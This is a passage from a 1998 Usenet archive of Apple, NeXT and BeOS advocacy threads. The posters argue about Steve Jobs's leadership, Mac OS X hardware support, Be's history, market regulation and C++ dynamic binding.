themselves in the foot, no doubt. But they still had to compete against IBM.
At a certain point, I'm sure IBM would have prefered MS go away, and ms
didn't.
> I dunno but I sincerely believe that u cannot compare the software
> market with the hardware market. Completely different beasts. The two
> are linked, true, but they are under different influences. The arrival
Well, since Be was in both, and linked in both, I think it's fair. YMMV.
> of the asian hardware manufacturers made it possible for certain
> newcomers to make it in the computer assembling world. Plus any fool
> can assemble a PC given the components (proof: hell I did it and I'm
> no genius:)
That any fool can put a PC together doesn't corrolate to a multi-billion
dollar success in selling PCs.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 16 Jul 1998 16:57:03 -0500
Organization: Ericsson North America Inc.
Message-ID: <35AE772F.B35DEA51@ericsson.com>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com> <slrn6qs9l9.860.sal@panix3.panix.com> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu> <35AE4D48.B45E4579@ericsson.com> <Jeur1.4033$24.23345884@news.itd.umich.edu>
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not@my.address.net wrote:
> >Good, because I'm opposed to "regulation".
>
> >Reputation is one of the most powerful forms of influence in existence.
> >NB: influence is different from "regulation".
>
> Verbal quibble.
>
> We both want some mechanism that brings a measure of discipline to the
> marketplace. The claim is that reputations take too long to develop for them to
> be at all efficient providing the desired degree of discipline.
No! No no no no no. It is *not* a verbal quibble, and we do *not* "both
want some mechanism that brings a measure of discipline to the
marketplace". You are proposing that that "mechanism" mean an external
regulatory agency. If I agreed, then it would be nothing more than a
verbal quibble.
As it is, I propose that the Rule of Law be the only external force on
the marketplace, and that *internal* mechanisms within the market are
the active, living, breathing entities that will control it. What is the
market except for the exchange of goods and services for currency? What
are those internal mechanisms except the factors that influence
decisions about what will be exchanged in such transactions? Therefore
the market itself is its own discipline.
> >Why would you trust the word of your butcher on matters of beef
> >distribution? A butcher is paid to dress meat, not to oversee
> >international beef purchases. That's ridiculous. Personally, I'd look
> >for a butcher with a sign that says "We Sell SafeMeat Products" because
> >I'd know that SafeMeat is a company with a good reputation for its
> >product.
>
> You missed the point.
In a word, no.
> If SafeMeat in a moment of weakness is tempted to import cheap British beef, or
> if my Butcher in a moment of weakness is tempted to buy from a less reputable
> supplier, it could take months (or longer) before word gets out and THEIR
> reputations begin to degrade. In the meantime anyone buying beef from that
> butcher would be at risk of contracting Mad Cows disease.
Huh? First off, loss of reputation is a deterrent from the behavior you
propose. In other words, the benefit of reputation is not that it
enables us to close down naughty businesses after the fact, but rather
that it is a valuable thing sought by all men and organizations, who
will jealously guard it, and thus eschew actions which may hurt other
people.
Secondly, how does regulatory power amend this situation? I don't
understand your point. What quality control measures (poor as they are
in reality) might the FDA institute that wouldn't be desirable, anyway,
were reputation more coveted in the marketplace?
And besides all of that, suppose SafeMeat were able to cheaply procure
English meat that it had tested and was verifiably disease-free. With
the FDA standing in the way, it's impossible to actually use this
(quickly perishing meat) until the FDA has managed to run its fatass
bureaucracy through enough red tape to keep the Pamplona bulls running
all year.
> The issue isn't how severe a sanction the degredation of their reputations would
> provide. I'm prepared to grant that it would be severe. The claim is that the
> lag time makes that kind of an informal sanction very inefficient.
Deterrent. Deterrent. Deterrent. De-- ach, forget it.
MJP
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Followup-To: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 16 Jul 1998 22:07:22 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6oltiq$lsc$1@vixen.cso.uiuc.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <pxpst2-1107981101450001@pelli.pathology.p <6ol3nq$14g$1@vixen.cso.uiuc.edu> <6ollab$qo3$1@news01.deltanet.com> <6olmdj$6ee@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: Scott Ellsworth <scott@eviews.com> wrote:
:
: >January of 93, all new purchases were P60s, moving to P90s as they
: >became affordable.
:
: I think the first Pentium systems became available in May 93.
: (e.g., "Pentium systems are due in May", Windows Sources, May 1993,
: "THE LONG-AWAITED Pentium-based systems will be rolling out at the
: end of May..."
In any case, the story was meant to depict a home user situation who may
not have been too keen on purchasing the shiny new Pentium for a few
thousand, when a clock-speed similar 486 was available for a lot less.
And it was just a story to illustrate a similar happening in the Wintel
world.
A number of people here are quite disgruntled that their almost
new Mac (benefit of the doubt), won't run a piece of software in a year
and a half. Meanwhile, their platform is getting the best OS Apple has in
stock in that interim period, and that before the release (if ever) of
Rhapsody for G3 Macs (speculating due to DR2 issues). My point: if X
wasn't around the bend, folks would be kinda happy to own a 60x system to
run the latest and greatest.
Sounds like spin, and I know it, but besides the Carbon aspect
what's there to argue about it? If you're not wanting to upgrade, then
stop complaining and be happy. If you are, do so and be happy. If you
want to buy a system for X, wait until some specs are published (bare
minimum), or better yet wait for the OS to ship, and buy it.
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Mach Kernels, MkLinux, and Mac OS X
Date: Thu, 16 Jul 1998 17:10:00 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980716165331.3753C-100000@ux7.cso.uiuc.edu>
References: <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu> <6olq3g$jeh$1@server.signat.org>
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In-Reply-To: <6olq3g$jeh$1@server.signat.org>
On 16 Jul 1998, Maury Markowitz wrote:
> In <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu> Pulsar wrote:
> > For quite a while, MkLinux which is Linux hosted on a Mach 3.0 kernel has
> > been running on PowerMac hardware.
>
> Minor nit - Mk is based on the OSF Mk kernel. This was a development using
> many of the mach 3.0 ideas, but it also has any number from the mach 4.0
> project, some from XKernel, and others of their own.
This sounds somewhat like what Apple has said it will do itself (_and_
limit support to PowerMac G3s). The little I've seen about the kernel
for Mac OS X has said it will be based on the Mach 3.0 kernel with some
4.0 features and ideas of their own.
It kinda sounds like OSF's Mk.
<snip>
> > Is there any particularly good reason why Apple should decide to ignore
> > the MkLinux kernel and write a new one with limited hardware support?
>
> No. Let's be more specific, they should be using Mk, period. Current Mk
> drivers would work unmodified.
Then it seems quite ridiculous to ignore Mk and write their own.
Is this the old Apple NIH syndrome getting in the way again?
Does anybody share my tiny sense of hope that actually Apple will just use
Mk and have support for virtually all PowerMacs and all this talk of G3
only is just a way to be able to pull a big and pleasant surprise when Mac
OS X comes out? Does anybod else also have a much larger fear that Apple
has no intention of doing anything like that?
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 16 Jul 1998 17:09:10 -0500
Organization: Ericsson North America Inc.
Message-ID: <35AE7A06.1BD0BAC9@ericsson.com>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com> <slrn6qs9l9.860.sal@panix3.panix.com> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu> <35AE4D48.B45E4579@ericsson.com> <2mur1.4035$24.23351499@news.itd.umich.edu>
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not@my.address.net wrote:
> >Baloney. This is like the "free markets didn't exist before government"
> >argument. Investment was common practice well before legislation was
> >enacted to shield investors from frivolous lawsuits.
>
> You're a mile wide of the mark.
>
> Frivolous lawsuits aren't the issue.
Duh. Maybe that's why I said as much:
> That was the subject
> of this entire conversation: the safety of investments. It was never
> about whether or not liability should or should not extend to investors'
> personal assets.
<end quote>
[cut]
> This sort of legislation represents a very large departure from the common law
> of contract. You are, of course, welcome to petition the goverment to cease
> this sort of intervention in the marketplace.
Legislative action and "intervention in the marketplace" are not
congruous domains. Regulatory legislation is intervention. Protections
against unreasonable lawsuits are not.
> You would then be in the company
> of the liberal left (who want to be able to sue individual shareholders when a
> corporation is responsible for a toxic spill, for example), but you can pursue
> the same legislative agenda on independent grounds, and politics makes strange
> bedfellows anyways.
I wouldn't know. 'Politics' is the exercise of magisterial power; I have
never had any reason to be involved in such affairs.
MJP
From: "K.D. Mish" <kmish@cmc.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Thu, 16 Jul 1998 15:28:46 -0700
Organization: Hackers Anonymous
Message-ID: <6oluc7$2b7$1@news-1.news.gte.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com>
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xmac@my-dejanews.com wrote:
> You may also wish to notice that Gasse's first instinct with Be was
> to base it on a largely proprietary hardware platform and only when
> sales tanked did they decide to port to PowerMac and then Intel.
That's some serious historical revisionism you're up to there, and you
may want to contemplate some obvious contradictions of your assertion:
(a) the original BeBox was based on the IBM/Moto/Apple PREP standard,
and Be's corporate intent had always been to track wherever the Mac/PPC
standard was going, including the desire to support CHRP. When Jobs
killed off CHRP, only then did Be (along with everybody else!) bail on
the nascent PPC/CHRP standardization effort.
(b) even given the PREP-ish architecture, the BeBox's design was indeed
"one-off", but that was by necessity, not by instinct. The simple truth
is that there were no other low-cost/general-purpose SMP boxes available
at the time that Rev5/6 BeBoxes shipped, as good dual-x86 designs (e.g.,
P6's) were running closer to $10K than the current $2K, and it's not a
reasonable plan to develop and test a scalable OS on anything with fewer
than 2 processors! Joe Palmer's ingenious BeBox design was more about
the need for a low-cost SMP box to showcase the OS than about
proprietary instincts on the part of Be's management.
(and let's not even get into the issue of OS scalability at the time the
BeBox was designed... suffice it to say that the BeOS is, and was, well
ahead of its time for low-cost SMP features)
(c) the ports to PCI PowerMacs and then to Intel are a testimonial to
the portability of the BeOS, and Be's decision to get out of the
hardware business was based on the simple observation that they couldn't
compete with PoweMac clones (instead, they forged alliances with the
clone makers) or with cheap standardized and high-performance Intel SMP
hardware (see (d) below), instead of decreasing sales of anything Be-ish
(and certainly not the BeOS, for instance, because it wasn't even -for-
sale at that point). Bailing on the BeBox was a tough business decision
for Be and its developer community, but it was a good one, and the
issues involved were hashed out (here and elsewhere) long ago.
(d) Be didn't decide to port to Intel out of desperation about "tanked
sales", since -Intel- ponied up the resources for the x86 support. Why
it was in Intel's interest to provide a lightweight OS for its SMP
hardware is obvious, given that the alternative Win32 API is shared
between a non-scalable OS (Windows 95/98) and the
30-MLOC-and-still-growing-but-at-least-it's-scalable NT religion.
> Be either needs to get some major backers quick or go opensource
> with the whole thing. (IMHO)
Be -has- some major backers. In fact, if you'd like a good overview of
how venture capitalization works in practice (e.g., why civilians need
not get involved!), JLG's various columns on the topic (available via
Be's web site) serve as an informative and entertaining introduction.
--Professor Mish
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dca8fk.10zu3f41266yiqN@dialup184-3-49.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net> <6ogmq6$5dp$1@nnrp1.dejanews.com> <1dc804m.mwatig1uf62gwN@rhrz-isdn3-p14.rhrz.uni-bonn.de> <6okg1v$puc$3@leonie.object-factory.com> <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se> <6ologe$j7d$1@nnrp1.dejanews.com>
Organization: pv
Date: Thu, 16 Jul 1998 22:22:42 GMT
NNTP-Posting-Date: Fri, 17 Jul 1998 00:22:42 MET DST
<quinlan@intergate.bc.ca> wrote:
> If this is done at runtime (which you seem to be claiming) then the following
> code should work:
>
> #include <iostream.h>
>
> class CA
> {
> public:
> virtual void print( void ) { cout << "Hello\n"; };
> };
>
> class CB
> {
> public:
> virtual void whatup( void ) { cout << "What up!\n"; };
> virtual void print( void ) { cout << "Hello\n"; };
> };
>
> void main( void )
> {
> CA *a = new CA;
>
> ((CB *) a)->print( );
> }
>
> But this code will probably crash. It did on my computer (as it should have
> because C++ doesn't feature dynamic binding). If you want, I'll write the
> equivalent Objective-C code for you (which will work because Objective-C does
> feature dynamic binding).
Of course it doesn't work. Why should it? CA and CB are completely
unrelated and your code is simply not valid. Dynamic binding has nothing
whatsoever to do with it. Also, even if CB::print by some form of divine
intervention or pure luck really was called, how could you tell?
To illustrate what dynamic binding is, let's assume that you meant CB to
inherit from CA. This is a requirement for dynamic binding in C++ as has
also been discussed here recently. Maybe that's what you're aiming at? I
know that Obj C is more relaxed about type compatibility but that is not
dynamic binding. Make CB inherit from CA and make the printed texts
different, then try this:
int main()
{
CA* a = new CB;
a->print();
}
This is still a silly example in that it is so simple that the compiler
can see the actual type (CB) at the point of call and is therefor
probably able to deduce that a->print(); can not possibly refer to
anything other than CB::print and optimize accordingly. A good compiler
will not use dynamic binding here. It can prove that it is not needed
and resolve the call statically.
To make it a little bit more realistic you could hide the actual type
from the compiler to see dynamic binding in action. Try this instead:
// --- CA.h
#include <iostream.h>
class CA {
public:
virtual void print() { cout << "CA::print() - Hello from base\n"; };
};
void print_CA( CA* ca );
// --- CA.cc
#include "CA.h"
// when the compiler compiles this file it is
// completely unaware of any derived classes so without
// dynamic binding it must call CA::print and print
// "CA::print() - Hello from base"
void print_CA( CA* ca ) { ca->print(); }
// --- main.cc
#include "CA.h"
#include <iostream.h>
class CB : public CA {
public:
virtual void print() { cout << "CB::print() - dynamic binding\n"; }
};
int main()
{
CA* a = new CB;
CB* b = new CB;
CA* c = new CA;
print_CA( a );
print_CA( b );
print_CA( c );
delete a;
delete b;
delete c;
}
What does it print?
- Lars
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 21:48:34 GMT
Organization: wazza?
Message-ID: <6olsfi$jeh$3@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com>
<gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com>
<gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: gmgraves@slip.net
In <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> George Graves
wrote:
> He has said that he will not take the job permanently.
Sure, but does any CEO really have such a title? Heck, goodbye Chainsaw
(and good riddance)! Considering that Apple's had "perm" CEO's that have
lasted for less time, I'm not really sure the title really means anything.
Heck, everyone dies in the end anyway.
> too literal here, but doesn't that mean that he will leave at some point?
Sure, but I _really_ doubt it will be in the short term. There's a big
group of people who just had Apple makes them millions in stock as it shot up
THREE TIMES in SIX MONTHS, and I'm sure the rank and file are pretty damb
happy with him overall.
And more, I think he's enjoying himself now. I'm sure he really did want
to leave when Gil was running it, and then when it was first handed to him.
But he HAS turned it around, and I think he loves the glory.
If this trend continues for another year, his term at Apple will be viewed
as one of the greatest turnarounds in corporate history, ranking up there
with Iacocca. Let's not forget that he took a company that was literally a
couple of months away from not being able to pay it's bills, into one that on
the front page (in a good way) of every business section in the country (our
country too) and in some ways the company is now better off than anyone,
notably in inventory control and margins - and the former has been a BIG
trouble spot for them for YEARS.
> I don't think that Jobs is grooming anyone.
Nor me.
> My theory is that he is trying to get the company in good
> enough shape for it to look attractive to a buyer.
Disagree, the stock valuation is too low. If someone wanted to do this,
they could do it now.
> For Apple to be bought by either a kindered spirit (like Sun) or a
> deep pockets company (like Philips, IBM, or Motorola) would be the best
> thing that could happen to either Apple or the Mac.
No, the best thing would be for the iMac to sell truckloads, and capture
even more press. Everyone seems to think this is a done deal. You don't
have to sell the company off for it to do well - obviously - and what can
those companies do that Steve hasn't already?
Maury
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: UI improvements
Date: 16 Jul 1998 22:36:51 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6olva3$5l3$2@lwnws01.ne.highway1.com>
References: <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <1dc9tdq.8dgo0ofm0ivoN@hoorn44.multiweb.net>
ERASE.this.dennis.scp@multiweb.nl (Dennis SCP) wrote:
> > Like what?
>
> One thing I thought of several years ago was working with two hands.
[snip]
Very cool ideas. I want some virtual hands darn it! :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Ruthless disney!
Date: Thu, 16 Jul 1998 15:38:13 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1607981538130001@dante.eng.uci.edu>
References: <macghod-1607981203490001@sdn-ar-001casbarp290.dialsprint.net>
In article <macghod-1607981203490001@sdn-ar-001casbarp290.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
>The guy who made the sarcastic remark about internet explorer at macworld
>just resigned. No doubt because Microsoft is a partner with disney
>(marketing wise)
He and another engineer went to do the startup thing. Sorry, but sometimes
a resignation is just a resignation.
-Bob Cassidy
From: Steven W. Schuldt <sschuldt@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 22:58:38 GMT
Organization: MediaOne -=- Northeast Region
Message-ID: <6om0iu$d7o$1@ndnws01.ne.highway1.com>
References: <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net>
In article <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net>
gmgraves@slip.net (George Graves) writes:
> I don't think that Jobs is grooming anyone. My theory is that he is trying
> to get the company in good enough shape for it to look attractive to a
> buyer. For Apple to be bought by either a kindered spirit (like Sun) or a
> deep pockets company (like Philips, IBM, or Motorola) would be the best
> thing that could happen to either Apple or the Mac.
>
> George Graves
>
Sun as a kindred spirit? Hmm. Look here:
http://store2.apple.com/Catalog/US/Images/menuspecialimac.jpg
and then here:
http://www.sun.com/servers/enterprise/10000/images/whole10.gif
Do these two look like they have _anything_ to say to one another?
- Steve
;)
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 16 Jul 1998 16:05:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1D3D537-1A807@206.165.43.46>
References: <slrn6qsaf6.860.sal@panix3.panix.com>
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Salvatore Denaro <sal@panix3.panix.com>
>
>Isn't arguing if a hypothetical person is good for a hypothetical job a
bit
>of a strech, even for you? :)
The fact is that the VP of Apple Marketing is the head of Apple developer
relations. 'Tis HE who decided that licensing Cyberdog for 3rd party
development was not part of Apple's strategic direction...
Nothing hypothetical about the job OR the person.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Message-ID: <35AE858A.2576@betabreakers.com>
Date: Thu, 16 Jul 1998 15:58:18 -0700
From: Josiah Fizer <jfizer@betabreakers.com>
Organization: Beta Breakers
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net>
Content-Type: text/plain; charset=us-ascii
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George Graves wrote:
>
> In article <6okstp$mkm@nntp02.primenet.com>, John Jensen
> <jjens@primenet.com> wrote:
>
> > xmac@my-dejanews.com wrote:
> > : Look at Be and how far (not) they have gotten in the past few years. You may
> > : also wish to notice that Gasse's first instinct with Be was to base it on a
> > : largely proprietary hardware platform and only when sales tanked did they
> > : decide to port to PowerMac and then Intel. Be either needs to get some major
> > : backers quick or go opensource with the whole thing. (IMHO)
> >
> > That's a wierd way to measure things, bud. Be is healthy, is hiring, and
> > has a new general purpose OS on the market. Has anyone else achieved that
> > in the last 5 or even 10 years? Linux and FreeBSD, but there is a bit of
> > a different dynamic there.
> >
> > You're saying JLG has failed because he doesn't rule the world. I'd ask
> > who else has done as well.
>
> No, a GUI has failed when it has no MAJOR applications. Be still has no
> support from the major players.
>
> George Graves
So Sun, SGi and HP have all "failed" cause they dont have suport from MS
or other people that rigth the crap we all have to use at our office? I
would just as soon not see the large bloated programs ported to BeOS
(gaining more bloat on the way).
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: PC Magazine Apple Poll
Date: Thu, 16 Jul 1998 18:18:08 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35AE8A30.E24AA8F6@milestonerdl.com>
References: <35ADBB84.71CFB29@alum.mit.edu> <joe.ragosta-1607980756230001@wil45.dol.net> <slrn6qsbg4.860.sal@panix3.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Salvatore Denaro wrote:
>
> On Thu, 16 Jul 1998 07:56:23 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
> >All those people
> >who bought PCs can't stand the thought that they might have made the wrong
> >decision, so they have to bad-mouth the Mac.
>
> They weren't saying anything about the Mac, they were talking about Apple.
>
> <sarcasm>
> Joe, do not look directly at the RDF. What you want to do is punch a hole
> in a piece of cardboard and make a pin-hole camera and observe the RDF
> from a safe distance.
> </sarcasm>
>
> Apple is hardly in the clear. They are still very much in trouble; but, at
> least it looks like they have a plan to get out of trouble.
>
> Keep the following in mind:
>
> 1) The iMac hasn't made them a dime yet. Just because it looks cool and is
> getting good reviews doesn't mean that it will sell. Remember the NeXT
> Cube? The bebox?
The iMac will sell to the faithful. But that doesn't GROW Apple's
marketshare. (and the NeXT Cube/BeBox were 'sexy'....like the iMac and
the original Mac. All of them sold briskly for a few months. Sustained
sales are what will matter)
> 2) A lot of Mac customers are pissed about not being able to run MacOSX on
> 8600 and 9600 machines. How many of them might more to NT?
I know of a 115 mac shop. 40 machines will become PC's just beacuse of
the MacOS X G3 only problem.
How many other shops are doing the same for the same reasons?
> 3) Rhapsody hasn't shipped yet. MacOSX is a year away. A lot can happen in
> a year.
> 4) Last time I checked, Apple still had an interim CEO.
*ding* and for 'corporate types' this matters.
>
> --
> sal@panix.com
> Salvatore Denaro
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to
obscurity?)
Date: 16 Jul 1998 16:14:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1D3D746-223D1@206.165.43.46>
References: <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Shawn M. <shawnm@snd.net> said:
>
>Gassee was NEVER the CEO of Apple. If you want to blame someone for
>Apple's former mistakes and "almost demise", try taking a look at John
>Scully and the person who was CEO immediately after him [name escapes
>me
>at the moment] as two of the people who really ran the company into the
>ground.
>
Gee...
Sculley got Jobs ousted because he was acting like a nutcase and no bank in
America would give Apple a loan as long as "that nutcase" [rumored direct
quote] was still in control of Apple.
Sculley, the person who ran Apple into the ground, took it from being a $1
billion/year company to a $12 billion per year.
SPindler was an interesting case. He obviously had severe physical and
mental problems when he took charge.
Amelio then took charge, with no effort made to find an alternate
replacement.
Jobs then took charge, with no [serious] effort made to find and alternate
replacement.
There's an interesting pattern here, if you're willing to examine it (which
I doubt):
Markkukla (the principle stockholder ) was followed by Jobs (hand-picked by
Markkula, the principle stockholder) was followed by Sculley (hand-picked
by
Markkula, the principle stockholder) was followed by Spindler (hand-picked
by
Markkula, the principle stockholder) was followed by Amelio (hand-picked by
Markkula, the principle stockholder) was followed by Jobs (hand-picked by
Markkula, the principle stockholder).
Do you see the pattern?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: drooling.idiot.nospam@euronet.be (Little Piggy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 16 Jul 1998 23:12:17 GMT
Organization: EuroNet Internet
Message-ID: <35ae84d2.37274718@news.euronet.be>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <6ol1f1$hcb$2@lwnws01.ne.highway1.com> <35ae1722.9194881@news.euronet.be> <6old6f$ogr$2@lwnws01.ne.highway1.com> <35ae441d.20709989@news.euronet.be> <6olt75$496$1@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote:
>drooling.idiot.nospam@euronet.be (Little Piggy) wrote:
>> Sorry but MS did not start against IBM, they became big
>> _with_the_help_ IBM. In fact, probably the only reason MS is in such a
>> dominant position is _because_ of IBM!
>
>That's your read on history, not mine. Mine is that IBM helped shoot
>themselves in the foot, no doubt. But they still had to compete against IBM.
>At a certain point, I'm sure IBM would have prefered MS go away, and ms
>didn't.
at a certain point sure, but you said that MS was competing with IBM
from the start. There's a huge difference between the two. I have to
admit though that Gates is a great businessman.
>
>> I dunno but I sincerely believe that u cannot compare the software
>> market with the hardware market. Completely different beasts. The two
>> are linked, true, but they are under different influences. The arrival
>
>Well, since Be was in both, and linked in both, I think it's fair. YMMV.
I didn't know we were talking about about Be's hardware attempt.
Besides, as far as I understand it they weren't just putting together
